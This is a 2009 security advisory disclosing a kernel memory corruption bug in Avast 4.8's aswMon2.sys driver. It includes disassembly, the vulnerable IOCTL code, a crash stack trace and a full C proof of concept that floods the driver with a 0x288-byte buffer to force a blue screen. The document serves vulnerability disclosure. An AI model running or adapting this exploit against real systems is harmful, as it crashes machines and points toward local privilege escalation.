Avast 4.8.1351.0 Privilege Escalation

`Source: https://www.evilfingers.com/advisory/Advisory/Avast_aswMon2.sys_kernel_memory_corruption_and_Local_Privilege_Escalation.php  
  
  
-----------[Avast aswMon2.sys kernel memory corruption and Local Privilege Escalation]--------->  
  
Author: Giuseppe 'Evilcry' Bonfa'  
E-Mail: evilcry {AT} GMAIL {DOT} COM<br>  
Website: http://evilcry.netsons.org<br>  
http://evilcodecave.blogspot.com<br>  
http://evilcodecave.wordpress.com<br>  
http://evilfingers.com<br>  
  
***Disclosure Timeline***  
Discover Date: Sep 13, 2009 PoC Code: Sep 13, 2009<br>  
Vendor Notify: Sep 15,2009 Vendor Reply: Sep 15, 2009<br><br>  
  
After various mails about publishing date  
ignored, here the Public Disclosure.  
  
+--------------------------------------------------------------------------+  
Product: Avast antivirus 4.8.1351.0 (other versions could be affected)  
Affected Component: aswMon2.sys 4.8.1351.0  
Category: Local Denial of Service due to kernel memory corruption (BSOD)  
(untested) Local Privilege Escalation  
  
+---------------------------------------------------------------------------+  
  
--------------------------[Details]--------------->  
  
Avast's aswMon2.sys Driver does not sanitize user supplied input IOCTL) and this lead to a kernel memory corruption that propagates   
on the system with a BSOD and potential risk of Privilege Escalation.<br><br>  
  
00010F70 cmp [ebp+arg_C], 288h ;InBuff Len no other checks performed<br>  
00010F77 jnz loc_111AC<br>  
00010F7D mov esi, [ebp+SourceString]<br>  
00010F80 cmp [esi], ebx<br>  
00010F82 mov [ebp+arg_C], ebx<br><br>  
  
  
Affected IOCTL is B2C80018<br><br>  
  
UNEXPECTED_KERNEL_MODE_TRAP_M (1000007f)<br><br>  
  
Transfer Type: METHOD_BUFFERED<br><br>  
  
STACK_TEXT:<br><br>  
  
WARNING: Stack unwind information not available. Following frames may be wrong.<br>  
f76f3234 8053d251 f76f3250 00000000 f76f32a4 nt+0x600fa<br>  
f76f32a4 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0x66251<br>  
f76f3328 8052c793 41414141 00000000 f76f377c nt+0x55712<br>  
f76f33a4 804fc700 f76f377c f76f3478 05050505 nt+0x55793<br><br>  
.  
f76f56d8 f7756a04 badb0d00 8055b256 00000000 nt+0x66251<br>  
f76f576c 41414141 41414141 41414141 41414141 aswMon2+0xa04<br>  
f76f5770 41414141 41414141 41414141 41414141 0x41414141<br>  
f76f5774 41414141 41414141 41414141 41414141 0x41414141<br>  
f76f5778 41414141 41414141 41414141 41414141 0x41414141<br>  
f76f577c 41414141 41414141 41414141 41414141 0x41414141<br>  
f76f5780 41414141 41414141 41414141 41414141 0x41414141<br>  
.<br><br>  
  
  
+---------------------------------------------------------------------------+  
  
/ * Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption<br>  
*<br>  
* Author: Giuseppe 'Evilcry' Bonfa'<br>  
* E-Mail: evilcry _AT_ gmail _DOT_ com<br>  
* Website: http://evilcry.netsons.org<br>  
* http://evilcodecave.blogspot.com <br>  
* http://evilfingers.com<br>  
*<br>  
* Vendor: Notified<br>  
*<br>  
* No L.P.E. for kiddies<br>  
* /<br><br>  
  
#define WIN32_LEAN_AND_MEAN<br>  
#include < windows.h><br>  
#include < stdio.h><br><br>  
  
  
BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab<br>  
{<br>  
WCHAR DeviceName[MAX_PATH];<br>  
HANDLE hDevice;<br>  
  
if ((GetVersion() & 0xFF) >= 5) <br>  
{<br>  
wcscpy(DeviceName, L"\\\\.\\Global\\");<br>  
} <br>  
else <br>  
{<br>  
wcscpy(DeviceName, L"\\\\.\\");<br>  
}<br><br>  
  
wcscat(DeviceName, DriverName);<br>  
  
printf("Opening.. %S\n", DeviceName);<br>  
  
hDevice = CreateFileW(DeviceName, GENERIC_READ | <br>  
GENERIC_WRITE, 0, NULL, OPEN_EXISTING,   
FILE_ATTRIBUTE_NORMAL, NULL);<br><br>  
  
if (hDevice == INVALID_HANDLE_VALUE)<br>  
{<br>  
printf("CreateFile() ERROR %d\n", GetLastError());<br>  
return FALSE;<br>  
}<br><br>  
  
*lphDevice = hDevice;<br>  
  
return TRUE;<br>  
}<br><br>  
  
int main()<br>  
{<br>  
HANDLE hDev = NULL;<br>  
DWORD Junk;<br>  
  
if(!OpenDevice(L"aswMon",&hDev))<br>  
{<br>  
printf("Unable to access aswMon");<br>  
return(0);<br>  
}<br><br>  
  
char *Buff = (char *)VirtualAlloc(NULL, 0x288, MEM_RESERVE | <br>  
MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br><br>  
  
if (Buff)<br>  
{<br>  
memset(Buff, 'A', 0x288);<br>  
DeviceIoControl(hDev,0xB2C80018,Buff,  
0x288,Buff,0x288,&Junk,(LPOVERLAPPED)NULL);<br>  
printf("DeviceIoControl Executed..\n"); <br>   
} <br>  
else<br>  
{<br>  
printf("VirtualAlloc() ERROR %d\n", GetLastError());<br>  
}<br>  
  
  
return(0);<br>  
}<br><br>  
  
  
  
+---------------------------------------------------------------------------+  
  
  
Regards,  
Giuseppe 'Evilcry' Bonfa'  
`